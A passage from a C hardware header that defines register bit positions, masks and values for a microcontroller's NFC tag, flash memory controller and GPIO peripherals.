/* Bits 7..0 : NFCID1 byte Z (very last byte sent) */
#define NFCT_NFCID1_LAST_NFCID1_Z_Pos (0UL) /*!< Position of NFCID1_Z field. */
#define NFCT_NFCID1_LAST_NFCID1_Z_Msk (0xFFUL << NFCT_NFCID1_LAST_NFCID1_Z_Pos) /*!< Bit mask of NFCID1_Z field. */
/* Register: NFCT_NFCID1_2ND_LAST */
/* Description: Second last NFCID1 part (7 or 10 bytes ID) */
/* Bits 23..16 : NFCID1 byte T */
#define NFCT_NFCID1_2ND_LAST_NFCID1_T_Pos (16UL) /*!< Position of NFCID1_T field. */
#define NFCT_NFCID1_2ND_LAST_NFCID1_T_Msk (0xFFUL << NFCT_NFCID1_2ND_LAST_NFCID1_T_Pos) /*!< Bit mask of NFCID1_T field. */
/* Bits 15..8 : NFCID1 byte U */
#define NFCT_NFCID1_2ND_LAST_NFCID1_U_Pos (8UL) /*!< Position of NFCID1_U field. */
#define NFCT_NFCID1_2ND_LAST_NFCID1_U_Msk (0xFFUL << NFCT_NFCID1_2ND_LAST_NFCID1_U_Pos) /*!< Bit mask of NFCID1_U field. */
/* Bits 7..0 : NFCID1 byte V */
#define NFCT_NFCID1_2ND_LAST_NFCID1_V_Pos (0UL) /*!< Position of NFCID1_V field. */
#define NFCT_NFCID1_2ND_LAST_NFCID1_V_Msk (0xFFUL << NFCT_NFCID1_2ND_LAST_NFCID1_V_Pos) /*!< Bit mask of NFCID1_V field. */
/* Register: NFCT_NFCID1_3RD_LAST */
/* Description: Third last NFCID1 part (10 bytes ID) */
/* Bits 23..16 : NFCID1 byte Q */
#define NFCT_NFCID1_3RD_LAST_NFCID1_Q_Pos (16UL) /*!< Position of NFCID1_Q field. */
#define NFCT_NFCID1_3RD_LAST_NFCID1_Q_Msk (0xFFUL << NFCT_NFCID1_3RD_LAST_NFCID1_Q_Pos) /*!< Bit mask of NFCID1_Q field. */
/* Bits 15..8 : NFCID1 byte R */
#define NFCT_NFCID1_3RD_LAST_NFCID1_R_Pos (8UL) /*!< Position of NFCID1_R field. */
#define NFCT_NFCID1_3RD_LAST_NFCID1_R_Msk (0xFFUL << NFCT_NFCID1_3RD_LAST_NFCID1_R_Pos) /*!< Bit mask of NFCID1_R field. */
/* Bits 7..0 : NFCID1 byte S */
#define NFCT_NFCID1_3RD_LAST_NFCID1_S_Pos (0UL) /*!< Position of NFCID1_S field. */
#define NFCT_NFCID1_3RD_LAST_NFCID1_S_Msk (0xFFUL << NFCT_NFCID1_3RD_LAST_NFCID1_S_Pos) /*!< Bit mask of NFCID1_S field. */
/* Register: NFCT_SENSRES */
/* Description: NFC-A SENS_RES auto-response settings */
/* Bits 15..12 : Reserved for future use. Shall be 0. */
#define NFCT_SENSRES_RFU74_Pos (12UL) /*!< Position of RFU74 field. */
#define NFCT_SENSRES_RFU74_Msk (0xFUL << NFCT_SENSRES_RFU74_Pos) /*!< Bit mask of RFU74 field. */
/* Bits 11..8 : Tag platform configuration as defined by the b4:b1 of byte 2 in SENS_RES response in the NFC Forum, NFC Digital Protocol Technical Specification */
#define NFCT_SENSRES_PLATFCONFIG_Pos (8UL) /*!< Position of PLATFCONFIG field. */
#define NFCT_SENSRES_PLATFCONFIG_Msk (0xFUL << NFCT_SENSRES_PLATFCONFIG_Pos) /*!< Bit mask of PLATFCONFIG field. */
/* Bits 7..6 : NFCID1 size. This value is used by the Auto collision resolution engine. */
#define NFCT_SENSRES_NFCIDSIZE_Pos (6UL) /*!< Position of NFCIDSIZE field. */
#define NFCT_SENSRES_NFCIDSIZE_Msk (0x3UL << NFCT_SENSRES_NFCIDSIZE_Pos) /*!< Bit mask of NFCIDSIZE field. */
#define NFCT_SENSRES_NFCIDSIZE_NFCID1Single (0UL) /*!< NFCID1 size: single (4 bytes) */
#define NFCT_SENSRES_NFCIDSIZE_NFCID1Double (1UL) /*!< NFCID1 size: double (7 bytes) */
#define NFCT_SENSRES_NFCIDSIZE_NFCID1Triple (2UL) /*!< NFCID1 size: triple (10 bytes) */
/* Bit 5 : Reserved for future use. Shall be 0. */
#define NFCT_SENSRES_RFU5_Pos (5UL) /*!< Position of RFU5 field. */
#define NFCT_SENSRES_RFU5_Msk (0x1UL << NFCT_SENSRES_RFU5_Pos) /*!< Bit mask of RFU5 field. */
/* Bits 4..0 : Bit frame SDD as defined by the b5:b1 of byte 1 in SENS_RES response in the NFC Forum, NFC Digital Protocol Technical Specification */
#define NFCT_SENSRES_BITFRAMESDD_Pos (0UL) /*!< Position of BITFRAMESDD field. */
#define NFCT_SENSRES_BITFRAMESDD_Msk (0x1FUL << NFCT_SENSRES_BITFRAMESDD_Pos) /*!< Bit mask of BITFRAMESDD field. */
#define NFCT_SENSRES_BITFRAMESDD_SDD00000 (0UL) /*!< SDD pattern 00000 */
#define NFCT_SENSRES_BITFRAMESDD_SDD00001 (1UL) /*!< SDD pattern 00001 */
#define NFCT_SENSRES_BITFRAMESDD_SDD00010 (2UL) /*!< SDD pattern 00010 */
#define NFCT_SENSRES_BITFRAMESDD_SDD00100 (4UL) /*!< SDD pattern 00100 */
#define NFCT_SENSRES_BITFRAMESDD_SDD01000 (8UL) /*!< SDD pattern 01000 */
#define NFCT_SENSRES_BITFRAMESDD_SDD10000 (16UL) /*!< SDD pattern 10000 */
/* Register: NFCT_SELRES */
/* Description: NFC-A SEL_RES auto-response settings */
/* Bit 7 : Reserved for future use. Shall be 0. */
#define NFCT_SELRES_RFU7_Pos (7UL) /*!< Position of RFU7 field. */
#define NFCT_SELRES_RFU7_Msk (0x1UL << NFCT_SELRES_RFU7_Pos) /*!< Bit mask of RFU7 field. */
/* Bits 6..5 : Protocol as defined by the b7:b6 of SEL_RES response in the NFC Forum, NFC Digital Protocol Technical Specification */
#define NFCT_SELRES_PROTOCOL_Pos (5UL) /*!< Position of PROTOCOL field. */
#define NFCT_SELRES_PROTOCOL_Msk (0x3UL << NFCT_SELRES_PROTOCOL_Pos) /*!< Bit mask of PROTOCOL field. */
/* Bits 4..3 : Reserved for future use. Shall be 0. */
#define NFCT_SELRES_RFU43_Pos (3UL) /*!< Position of RFU43 field. */
#define NFCT_SELRES_RFU43_Msk (0x3UL << NFCT_SELRES_RFU43_Pos) /*!< Bit mask of RFU43 field. */
/* Bit 2 : Cascade bit (controlled by hardware, write has no effect) */
#define NFCT_SELRES_CASCADE_Pos (2UL) /*!< Position of CASCADE field. */
#define NFCT_SELRES_CASCADE_Msk (0x1UL << NFCT_SELRES_CASCADE_Pos) /*!< Bit mask of CASCADE field. */
#define NFCT_SELRES_CASCADE_Complete (0UL) /*!< NFCID1 complete */
#define NFCT_SELRES_CASCADE_NotComplete (1UL) /*!< NFCID1 not complete */
/* Bits 1..0 : Reserved for future use. Shall be 0. */
#define NFCT_SELRES_RFU10_Pos (0UL) /*!< Position of RFU10 field. */
#define NFCT_SELRES_RFU10_Msk (0x3UL << NFCT_SELRES_RFU10_Pos) /*!< Bit mask of RFU10 field. */
/* Peripheral: NVMC */
/* Description: Non Volatile Memory Controller */
/* Register: NVMC_READY */
/* Description: Ready flag */
/* Bit 0 : NVMC is ready or busy */
#define NVMC_READY_READY_Pos (0UL) /*!< Position of READY field. */
#define NVMC_READY_READY_Msk (0x1UL << NVMC_READY_READY_Pos) /*!< Bit mask of READY field. */
#define NVMC_READY_READY_Busy (0UL) /*!< NVMC is busy (on-going write or erase operation) */
#define NVMC_READY_READY_Ready (1UL) /*!< NVMC is ready */
/* Register: NVMC_CONFIG */
/* Description: Configuration register */
/* Bits 1..0 : Program memory access mode. It is strongly recommended to only activate erase and write modes when they are actively used. Enabling write or erase will invalidate the cache and keep it invalidated. */
#define NVMC_CONFIG_WEN_Pos (0UL) /*!< Position of WEN field. */
#define NVMC_CONFIG_WEN_Msk (0x3UL << NVMC_CONFIG_WEN_Pos) /*!< Bit mask of WEN field. */
#define NVMC_CONFIG_WEN_Ren (0UL) /*!< Read only access */
#define NVMC_CONFIG_WEN_Wen (1UL) /*!< Write Enabled */
#define NVMC_CONFIG_WEN_Een (2UL) /*!< Erase enabled */
/* Register: NVMC_ERASEPAGE */
/* Description: Register for erasing a page in Code area */
/* Bits 31..0 : Register for starting erase of a page in Code area */
#define NVMC_ERASEPAGE_ERASEPAGE_Pos (0UL) /*!< Position of ERASEPAGE field. */
#define NVMC_ERASEPAGE_ERASEPAGE_Msk (0xFFFFFFFFUL << NVMC_ERASEPAGE_ERASEPAGE_Pos) /*!< Bit mask of ERASEPAGE field. */
/* Register: NVMC_ERASEPCR1 */
/* Description: Deprecated register - Register for erasing a page in Code area. Equivalent to ERASEPAGE. */
/* Bits 31..0 : Register for erasing a page in Code area. Equivalent to ERASEPAGE. */
#define NVMC_ERASEPCR1_ERASEPCR1_Pos (0UL) /*!< Position of ERASEPCR1 field. */
#define NVMC_ERASEPCR1_ERASEPCR1_Msk (0xFFFFFFFFUL << NVMC_ERASEPCR1_ERASEPCR1_Pos) /*!< Bit mask of ERASEPCR1 field. */
/* Register: NVMC_ERASEALL */
/* Description: Register for erasing all non-volatile user memory */
/* Bit 0 : Erase all non-volatile memory including UICR registers. Note that code erase has to be enabled by CONFIG.EEN before the UICR can be erased. */
#define NVMC_ERASEALL_ERASEALL_Pos (0UL) /*!< Position of ERASEALL field. */
#define NVMC_ERASEALL_ERASEALL_Msk (0x1UL << NVMC_ERASEALL_ERASEALL_Pos) /*!< Bit mask of ERASEALL field. */
#define NVMC_ERASEALL_ERASEALL_NoOperation (0UL) /*!< No operation */
#define NVMC_ERASEALL_ERASEALL_Erase (1UL) /*!< Start chip erase */
/* Register: NVMC_ERASEPCR0 */
/* Description: Deprecated register - Register for erasing a page in Code area. Equivalent to ERASEPAGE. */
/* Bits 31..0 : Register for starting erase of a page in Code area. Equivalent to ERASEPAGE. */
#define NVMC_ERASEPCR0_ERASEPCR0_Pos (0UL) /*!< Position of ERASEPCR0 field. */
#define NVMC_ERASEPCR0_ERASEPCR0_Msk (0xFFFFFFFFUL << NVMC_ERASEPCR0_ERASEPCR0_Pos) /*!< Bit mask of ERASEPCR0 field. */
/* Register: NVMC_ERASEUICR */
/* Description: Register for erasing User Information Configuration Registers */
/* Bit 0 : Register starting erase of all User Information Configuration Registers. Note that code erase has to be enabled by CONFIG.EEN before the UICR can be erased. */
#define NVMC_ERASEUICR_ERASEUICR_Pos (0UL) /*!< Position of ERASEUICR field. */
#define NVMC_ERASEUICR_ERASEUICR_Msk (0x1UL << NVMC_ERASEUICR_ERASEUICR_Pos) /*!< Bit mask of ERASEUICR field. */
#define NVMC_ERASEUICR_ERASEUICR_NoOperation (0UL) /*!< No operation */
#define NVMC_ERASEUICR_ERASEUICR_Erase (1UL) /*!< Start erase of UICR */
/* Register: NVMC_ICACHECNF */
/* Description: I-Code cache configuration register. */
/* Bit 8 : Cache profiling enable */
#define NVMC_ICACHECNF_CACHEPROFEN_Pos (8UL) /*!< Position of CACHEPROFEN field. */
#define NVMC_ICACHECNF_CACHEPROFEN_Msk (0x1UL << NVMC_ICACHECNF_CACHEPROFEN_Pos) /*!< Bit mask of CACHEPROFEN field. */
#define NVMC_ICACHECNF_CACHEPROFEN_Disabled (0UL) /*!< Disable cache profiling */
#define NVMC_ICACHECNF_CACHEPROFEN_Enabled (1UL) /*!< Enable cache profiling */
/* Bit 0 : Cache enable */
#define NVMC_ICACHECNF_CACHEEN_Pos (0UL) /*!< Position of CACHEEN field. */
#define NVMC_ICACHECNF_CACHEEN_Msk (0x1UL << NVMC_ICACHECNF_CACHEEN_Pos) /*!< Bit mask of CACHEEN field. */
#define NVMC_ICACHECNF_CACHEEN_Disabled (0UL) /*!< Disable cache. Invalidates all cache entries. */
#define NVMC_ICACHECNF_CACHEEN_Enabled (1UL) /*!< Enable cache */
/* Register: NVMC_IHIT */
/* Description: I-Code cache hit counter. */
/* Bits 31..0 : Number of cache hits */
#define NVMC_IHIT_HITS_Pos (0UL) /*!< Position of HITS field. */
#define NVMC_IHIT_HITS_Msk (0xFFFFFFFFUL << NVMC_IHIT_HITS_Pos) /*!< Bit mask of HITS field. */
/* Register: NVMC_IMISS */
/* Description: I-Code cache miss counter. */
/* Bits 31..0 : Number of cache misses */
#define NVMC_IMISS_MISSES_Pos (0UL) /*!< Position of MISSES field. */
#define NVMC_IMISS_MISSES_Msk (0xFFFFFFFFUL << NVMC_IMISS_MISSES_Pos) /*!< Bit mask of MISSES field. */
/* Peripheral: GPIO */
/* Description: GPIO Port 1 */
/* Register: GPIO_OUT */
/* Description: Write GPIO port */
/* Bit 31 : Pin 31 */
#define GPIO_OUT_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_OUT_PIN31_Msk (0x1UL << GPIO_OUT_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_OUT_PIN31_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN31_High (1UL) /*!< Pin driver is high */
/* Bit 30 : Pin 30 */
#define GPIO_OUT_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_OUT_PIN30_Msk (0x1UL << GPIO_OUT_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_OUT_PIN30_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN30_High (1UL) /*!< Pin driver is high */
/* Bit 29 : Pin 29 */
#define GPIO_OUT_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_OUT_PIN29_Msk (0x1UL << GPIO_OUT_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_OUT_PIN29_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN29_High (1UL) /*!< Pin driver is high */
/* Bit 28 : Pin 28 */
#define GPIO_OUT_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_OUT_PIN28_Msk (0x1UL << GPIO_OUT_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_OUT_PIN28_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN28_High (1UL) /*!< Pin driver is high */
/* Bit 27 : Pin 27 */
#define GPIO_OUT_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_OUT_PIN27_Msk (0x1UL << GPIO_OUT_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_OUT_PIN27_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN27_High (1UL) /*!< Pin driver is high */
/* Bit 26 : Pin 26 */
#define GPIO_OUT_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_OUT_PIN26_Msk (0x1UL << GPIO_OUT_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_OUT_PIN26_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN26_High (1UL) /*!< Pin driver is high */
/* Bit 25 : Pin 25 */
#define GPIO_OUT_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_OUT_PIN25_Msk (0x1UL << GPIO_OUT_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_OUT_PIN25_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN25_High (1UL) /*!< Pin driver is high */
/* Bit 24 : Pin 24 */
#define GPIO_OUT_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_OUT_PIN24_Msk (0x1UL << GPIO_OUT_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_OUT_PIN24_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN24_High (1UL) /*!< Pin driver is high */
/* Bit 23 : Pin 23 */
#define GPIO_OUT_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_OUT_PIN23_Msk (0x1UL << GPIO_OUT_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_OUT_PIN23_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN23_High (1UL) /*!< Pin driver is high */
/* Bit 22 : Pin 22 */
#define GPIO_OUT_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_OUT_PIN22_Msk (0x1UL << GPIO_OUT_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_OUT_PIN22_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN22_High (1UL) /*!< Pin driver is high */
/* Bit 21 : Pin 21 */
#define GPIO_OUT_PIN21_Pos (21UL) /*!< Position of PIN21 field. */
#define GPIO_OUT_PIN21_Msk (0x1UL << GPIO_OUT_PIN21_Pos) /*!< Bit mask of PIN21 field. */
#define GPIO_OUT_PIN21_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN21_High (1UL) /*!< Pin driver is high */
/* Bit 20 : Pin 20 */
#define GPIO_OUT_PIN20_Pos (20UL) /*!< Position of PIN20 field. */
#define GPIO_OUT_PIN20_Msk (0x1UL << GPIO_OUT_PIN20_Pos) /*!< Bit mask of PIN20 field. */
#define GPIO_OUT_PIN20_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN20_High (1UL) /*!< Pin driver is high */
/* Bit 19 : Pin 19 */
#define GPIO_OUT_PIN19_Pos (19UL) /*!< Position of PIN19 field. */
#define GPIO_OUT_PIN19_Msk (0x1UL << GPIO_OUT_PIN19_Pos) /*!< Bit mask of PIN19 field. */
#define GPIO_OUT_PIN19_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN19_High (1UL) /*!< Pin driver is high */
/* Bit 18 : Pin 18 */
#define GPIO_OUT_PIN18_Pos (18UL) /*!< Position of PIN18 field. */
#define GPIO_OUT_PIN18_Msk (0x1UL << GPIO_OUT_PIN18_Pos) /*!< Bit mask of PIN18 field. */
#define GPIO_OUT_PIN18_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN18_High (1UL) /*!< Pin driver is high */
/* Bit 17 : Pin 17 */
#define GPIO_OUT_PIN17_Pos (17UL) /*!< Position of PIN17 field. */
#define GPIO_OUT_PIN17_Msk (0x1UL << GPIO_OUT_PIN17_Pos) /*!< Bit mask of PIN17 field. */
#define GPIO_OUT_PIN17_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN17_High (1UL) /*!< Pin driver is high */
/* Bit 16 : Pin 16 */
#define GPIO_OUT_PIN16_Pos (16UL) /*!< Position of PIN16 field. */
#define GPIO_OUT_PIN16_Msk (0x1UL << GPIO_OUT_PIN16_Pos) /*!< Bit mask of PIN16 field. */
#define GPIO_OUT_PIN16_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN16_High (1UL) /*!< Pin driver is high */
/* Bit 15 : Pin 15 */
#define GPIO_OUT_PIN15_Pos (15UL) /*!< Position of PIN15 field. */
#define GPIO_OUT_PIN15_Msk (0x1UL << GPIO_OUT_PIN15_Pos) /*!< Bit mask of PIN15 field. */
#define GPIO_OUT_PIN15_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN15_High (1UL) /*!< Pin driver is high */
/* Bit 14 : Pin 14 */
#define GPIO_OUT_PIN14_Pos (14UL) /*!< Position of PIN14 field. */
#define GPIO_OUT_PIN14_Msk (0x1UL << GPIO_OUT_PIN14_Pos) /*!< Bit mask of PIN14 field. */
#define GPIO_OUT_PIN14_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN14_High (1UL) /*!< Pin driver is high */
/* Bit 13 : Pin 13 */
#define GPIO_OUT_PIN13_Pos (13UL) /*!< Position of PIN13 field. */
#define GPIO_OUT_PIN13_Msk (0x1UL << GPIO_OUT_PIN13_Pos) /*!< Bit mask of PIN13 field. */
#define GPIO_OUT_PIN13_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN13_High (1UL) /*!< Pin driver is high */
/* Bit 12 : Pin 12 */
#define GPIO_OUT_PIN12_Pos (12UL) /*!< Position of PIN12 field. */
#define GPIO_OUT_PIN12_Msk (0x1UL << GPIO_OUT_PIN12_Pos) /*!< Bit mask of PIN12 field. */
#define GPIO_OUT_PIN12_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN12_High (1UL) /*!< Pin driver is high */
/* Bit 11 : Pin 11 */
#define GPIO_OUT_PIN11_Pos (11UL) /*!< Position of PIN11 field. */
#define GPIO_OUT_PIN11_Msk (0x1UL << GPIO_OUT_PIN11_Pos) /*!< Bit mask of PIN11 field. */
#define GPIO_OUT_PIN11_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN11_High (1UL) /*!< Pin driver is high */
/* Bit 10 : Pin 10 */
#define GPIO_OUT_PIN10_Pos (10UL) /*!< Position of PIN10 field. */
#define GPIO_OUT_PIN10_Msk (0x1UL << GPIO_OUT_PIN10_Pos) /*!< Bit mask of PIN10 field. */
#define GPIO_OUT_PIN10_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN10_High (1UL) /*!< Pin driver is high */
/* Bit 9 : Pin 9 */
#define GPIO_OUT_PIN9_Pos (9UL) /*!< Position of PIN9 field. */
#define GPIO_OUT_PIN9_Msk (0x1UL << GPIO_OUT_PIN9_Pos) /*!< Bit mask of PIN9 field. */
#define GPIO_OUT_PIN9_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN9_High (1UL) /*!< Pin driver is high */
/* Bit 8 : Pin 8 */
#define GPIO_OUT_PIN8_Pos (8UL) /*!< Position of PIN8 field. */
#define GPIO_OUT_PIN8_Msk (0x1UL << GPIO_OUT_PIN8_Pos) /*!< Bit mask of PIN8 field. */
#define GPIO_OUT_PIN8_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN8_High (1UL) /*!< Pin driver is high */
/* Bit 7 : Pin 7 */
#define GPIO_OUT_PIN7_Pos (7UL) /*!< Position of PIN7 field. */
#define GPIO_OUT_PIN7_Msk (0x1UL << GPIO_OUT_PIN7_Pos) /*!< Bit mask of PIN7 field. */
#define GPIO_OUT_PIN7_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN7_High (1UL) /*!< Pin driver is high */
/* Bit 6 : Pin 6 */
#define GPIO_OUT_PIN6_Pos (6UL) /*!< Position of PIN6 field. */
#define GPIO_OUT_PIN6_Msk (0x1UL << GPIO_OUT_PIN6_Pos) /*!< Bit mask of PIN6 field. */
#define GPIO_OUT_PIN6_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN6_High (1UL) /*!< Pin driver is high */
/* Bit 5 : Pin 5 */
#define GPIO_OUT_PIN5_Pos (5UL) /*!< Position of PIN5 field. */
#define GPIO_OUT_PIN5_Msk (0x1UL << GPIO_OUT_PIN5_Pos) /*!< Bit mask of PIN5 field. */
#define GPIO_OUT_PIN5_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN5_High (1UL) /*!< Pin driver is high */
/* Bit 4 : Pin 4 */
#define GPIO_OUT_PIN4_Pos (4UL) /*!< Position of PIN4 field. */
#define GPIO_OUT_PIN4_Msk (0x1UL << GPIO_OUT_PIN4_Pos) /*!< Bit mask of PIN4 field. */
#define GPIO_OUT_PIN4_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN4_High (1UL) /*!< Pin driver is high */
/* Bit 3 : Pin 3 */
#define GPIO_OUT_PIN3_Pos (3UL) /*!< Position of PIN3 field. */
#define GPIO_OUT_PIN3_Msk (0x1UL << GPIO_OUT_PIN3_Pos) /*!< Bit mask of PIN3 field. */
#define GPIO_OUT_PIN3_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN3_High (1UL) /*!< Pin driver is high */
/* Bit 2 : Pin 2 */
#define GPIO_OUT_PIN2_Pos (2UL) /*!< Position of PIN2 field. */
#define GPIO_OUT_PIN2_Msk (0x1UL << GPIO_OUT_PIN2_Pos) /*!< Bit mask of PIN2 field. */
#define GPIO_OUT_PIN2_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN2_High (1UL) /*!< Pin driver is high */
/* Bit 1 : Pin 1 */
#define GPIO_OUT_PIN1_Pos (1UL) /*!< Position of PIN1 field. */
#define GPIO_OUT_PIN1_Msk (0x1UL << GPIO_OUT_PIN1_Pos) /*!< Bit mask of PIN1 field. */
#define GPIO_OUT_PIN1_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN1_High (1UL) /*!< Pin driver is high */
/* Bit 0 : Pin 0 */
#define GPIO_OUT_PIN0_Pos (0UL) /*!< Position of PIN0 field. */
#define GPIO_OUT_PIN0_Msk (0x1UL << GPIO_OUT_PIN0_Pos) /*!< Bit mask of PIN0 field. */
#define GPIO_OUT_PIN0_Low (0UL) /*!< Pin driver is low */
#define GPIO_OUT_PIN0_High (1UL) /*!< Pin driver is high */
/* Register: GPIO_OUTSET */
/* Description: Set individual bits in GPIO port */
/* Bit 31 : Pin 31 */
#define GPIO_OUTSET_PIN31_Pos (31UL) /*!< Position of PIN31 field. */
#define GPIO_OUTSET_PIN31_Msk (0x1UL << GPIO_OUTSET_PIN31_Pos) /*!< Bit mask of PIN31 field. */
#define GPIO_OUTSET_PIN31_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN31_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN31_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 30 : Pin 30 */
#define GPIO_OUTSET_PIN30_Pos (30UL) /*!< Position of PIN30 field. */
#define GPIO_OUTSET_PIN30_Msk (0x1UL << GPIO_OUTSET_PIN30_Pos) /*!< Bit mask of PIN30 field. */
#define GPIO_OUTSET_PIN30_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN30_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN30_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 29 : Pin 29 */
#define GPIO_OUTSET_PIN29_Pos (29UL) /*!< Position of PIN29 field. */
#define GPIO_OUTSET_PIN29_Msk (0x1UL << GPIO_OUTSET_PIN29_Pos) /*!< Bit mask of PIN29 field. */
#define GPIO_OUTSET_PIN29_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN29_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN29_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 28 : Pin 28 */
#define GPIO_OUTSET_PIN28_Pos (28UL) /*!< Position of PIN28 field. */
#define GPIO_OUTSET_PIN28_Msk (0x1UL << GPIO_OUTSET_PIN28_Pos) /*!< Bit mask of PIN28 field. */
#define GPIO_OUTSET_PIN28_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN28_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN28_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 27 : Pin 27 */
#define GPIO_OUTSET_PIN27_Pos (27UL) /*!< Position of PIN27 field. */
#define GPIO_OUTSET_PIN27_Msk (0x1UL << GPIO_OUTSET_PIN27_Pos) /*!< Bit mask of PIN27 field. */
#define GPIO_OUTSET_PIN27_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN27_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN27_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 26 : Pin 26 */
#define GPIO_OUTSET_PIN26_Pos (26UL) /*!< Position of PIN26 field. */
#define GPIO_OUTSET_PIN26_Msk (0x1UL << GPIO_OUTSET_PIN26_Pos) /*!< Bit mask of PIN26 field. */
#define GPIO_OUTSET_PIN26_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN26_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN26_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 25 : Pin 25 */
#define GPIO_OUTSET_PIN25_Pos (25UL) /*!< Position of PIN25 field. */
#define GPIO_OUTSET_PIN25_Msk (0x1UL << GPIO_OUTSET_PIN25_Pos) /*!< Bit mask of PIN25 field. */
#define GPIO_OUTSET_PIN25_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN25_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN25_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 24 : Pin 24 */
#define GPIO_OUTSET_PIN24_Pos (24UL) /*!< Position of PIN24 field. */
#define GPIO_OUTSET_PIN24_Msk (0x1UL << GPIO_OUTSET_PIN24_Pos) /*!< Bit mask of PIN24 field. */
#define GPIO_OUTSET_PIN24_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN24_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN24_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 23 : Pin 23 */
#define GPIO_OUTSET_PIN23_Pos (23UL) /*!< Position of PIN23 field. */
#define GPIO_OUTSET_PIN23_Msk (0x1UL << GPIO_OUTSET_PIN23_Pos) /*!< Bit mask of PIN23 field. */
#define GPIO_OUTSET_PIN23_Low (0UL) /*!< Read: pin driver is low */
#define GPIO_OUTSET_PIN23_High (1UL) /*!< Read: pin driver is high */
#define GPIO_OUTSET_PIN23_Set (1UL) /*!< Write: writing a '1' sets the pin high; writing a '0' has no effect */
/* Bit 22 : Pin 22 */
#define GPIO_OUTSET_PIN22_Pos (22UL) /*!< Position of PIN22 field. */
#define GPIO_OUTSET_PIN22_Msk (0x1UL << GPIO_OUTSET_PIN22_Pos) /*!< Bit mask of PIN22 field. */
#define GPIO_OUTSET_PIN22_Low (0UL) /*!< Read: pin driver is low */
